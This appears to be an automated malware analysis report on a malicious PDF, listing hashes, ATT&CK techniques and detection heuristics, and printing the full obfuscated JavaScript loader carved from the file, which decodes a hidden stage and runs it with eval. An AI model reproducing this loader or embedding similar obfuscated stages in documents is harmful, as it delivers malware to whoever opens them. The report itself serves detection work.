Malicious PDF — malware analysis report

Static analysis result for SHA-256 09db439072870ac2…

MALICIOUS

PDF

44.4 KB First seen: 2026-05-08
MD5: 39eda0d3913ed77eb44ba167c4f16ab0 SHA-1: d504eeb074479ee42ab3e6e6b5fa2a37af2c1960 SHA-256: 09db439072870ac24baa4052c6f828b5e349767d958d1512a7a8c6bcdbe8c8a0
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which attempts to construct and execute a URL. The script decodes a string to form the URL 'http://nhsthnntrht.com/le', likely for downloading a second-stage payload. The ML classifier strongly indicates maliciousness, supporting the attack pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAEF0 451 bytes
SHA-256: 24685f950c3e4d2a8b47812a844cd2081cbbdc504bd7f7f1c0bb7298473733d1
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
frqzc='';
dhc=('qwrwqr','tit');
e('wnsze=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
dhr=e('String.fr'+wnsze.substr(0,10));
ntth = e(wnsze.substr(10)['replace'](/u/g,','));
e('k=ntth.length');
for (i = 0; i < k; i+=2) {
	jdseb = ntth[i+1] + ('erybjkerl',ntth[i]);
	frqzc += dhr(jdseb);
}
e(frqzc);

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